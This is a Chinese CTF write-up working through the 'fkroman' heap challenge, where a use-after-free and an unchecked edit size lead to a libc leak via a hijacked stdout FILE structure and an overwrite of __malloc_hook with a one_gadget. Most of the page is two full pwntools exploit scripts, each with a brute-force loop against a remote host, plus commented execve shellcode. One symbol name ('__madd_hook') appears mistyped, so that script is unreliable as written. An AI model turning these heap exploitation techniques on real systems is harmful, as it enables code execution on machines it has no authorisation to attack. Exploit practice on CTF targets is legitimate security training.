CTF比赛 January 03, 2020

数字经济3pwn题

Words count 29k Reading time 26 mins. Read count 0

一、前言

​ 这次的pwn题做的不是很理想,现在复现下,发现当时没出确实挺可惜的哎,以下复现过程。

二、题目

2、fkroman

这题保护全开(习惯了,不全开反而不好玩了hhhhh),先来查看一波漏洞点:

56959418231

free时,有UAF漏洞

56959495282

edit时没有对size检查,随便溢出。

这里我们可以一步步逆推思路:

1、UAF可以实现改FD指针为fake_chunk,改malloc_hook为onegadget(前提是有真实地址)

2、要得到真实地址(没有show函数,用IO_file去泄露真实地址)

3、要用IO_file就要能改结构体,所以要劫持到stdout结构体,那么就要改Unsorted bin低位(部分覆盖Partial covering)

4、关于劫持stdout,有两种思路,一种切割unsorted bin,改free后的某堆块的FD为有0x7f地址的堆块,下一次申请时就可以拿出来(相当于used状态的堆块被强行征用),另一种是直接改大fastbin的size再free,得到0x7f的地址,再改回来size。

按照4-3-2-1的思路很快就可以知道怎么解这题了(这就是反证法解题,要解即解)

首先申请出一个很大的堆块0x400,然后在里面均匀切割出0x60的堆块,每一次切割都会在fd和bk的位置留下0x7f开头的地址,再free掉2个堆块,得到链子,改变FD链子的指向,使得它指向一个FD有0x7f地址的已经被malloc的堆块,我们得改0x7f的地址为stdout-0x43(有0x7f的size头满足条件),再malloc,第3次,即可得到stdout的结构体,接着就是顺水推舟的事情了,简单。

第一种方法图示:

56959533949

第二种方法图示:

56959812260

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
else:
p = remote('121.40.246.48',9999)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def add(index,size):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
def dele(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)



def pwn():
add(0,0x400)
add(1,0x60)
add(2,0x60)
add(3,0x60)
dele(0)

# t = int(raw_input("guess: "))
t = 0x7
stdout = (t << 12) | 0x620
add(4,0x60)
add(5,0x60)
add(6,0x60)
add(7,0x60)
dele(5)
dele(6)
debug(0)
edit(6,1,"\x00")
edit(4,2,p16(stdout-0x43))
# debug(0)
add(8,0x60)
add(9,0x60)
add(10,0x60)
payload = "\x00"*0x33+p64(0xfbad1800)+p64(0)*3+"\x00"
edit(10,len(payload),payload)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
onegadget = libc_base + 0x4526a
fake_chunk = libc_base + libc.symbols["__madd_hook"] - 0x23
dele(5)
edit(5,0x8,p64(fake_chunk))
add(5,0x60)
add(12,0x60)
edit(12,0x1b,'a'*0x13+p64(onegadget))
add(12,0x60)
i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
continue
else:
p = remote('121.40.246.48',9999)
else:
sl("ls")
break
p.interactive()
# The way of heap overflow
# add(0,0x10)
# add(1,0x60)
# add(2,0x60)
# add(3,0x60)
# add(4,0x20)

# dele(1)
# pay = p64(0)*3 + p64(0xe1)
# edit(0,len(pay),pay)
# dele(3)
# debug(0)
# dele(1)
# pay = p64(0)*3 + p64(0x71)
# edit(0,len(pay),pay)

其实这题也可以用house of roman蛮力爆破:(但是成功率太低了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 0
if local:
p = process('./fkroman')
# elf = ELF('./')
# libc = elf.libc
else:
p = remote("121.40.246.48","9999")
# elf = ELF('./')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x4060)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def alloc(id,size):
ru("choice: ")
sl('1')
ru("Index: ")
sl(str(id))
ru("Size: ")
sl(str(size))
def free(id):
ru("choice: ")
sl('3')
ru("Index: ")
sl(str(id))
def edit(id,size,data):
ru("choice: ")
sl('4')
ru("Index: ")
sl(str(id))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(data)

def pwn():
alloc(0,32)
alloc(1,0x68)
alloc(2,0x68)
# pause()
free(1)
pay = p64(0)*3 + p64(0x51)
edit(2,len(pay),pay)
pay = p64(0)*5 + p64(0x91)
edit(0,len(pay),pay)
free(1)
pay = p64(0)*5 + p64(0x71)
edit(0,len(pay),pay)
edit(1,2,'\xed\x1a')
alloc(3,0x68)
alloc(4,0x68)#malloc_hook
pay = 'a'*8 + '\x00\x1b'
edit(1,len(pay),pay)
pay = p64(0)*5 + p64(0x91)
edit(0,len(pay),pay)
alloc(5,0x88)

pay = 'a'*0x13 + '\x6a\x22\xa5'
edit(4,len(pay),pay)
# debug(0)
alloc(7,32)
# one = [0x45216,0x4526a,0xf02a4,0xf1147]
print "first step done!"
# pause()
p.sendline('cat flag')
print p.recv()
print "finally done!"
p.interactive()
i = 0
while 1:
try:
i += 1
print i
pwn()
except Exception:
p.close()
if local:
p = process("./fkroman")
else:
p = remote("121.40.246.48","9999")
continue
0%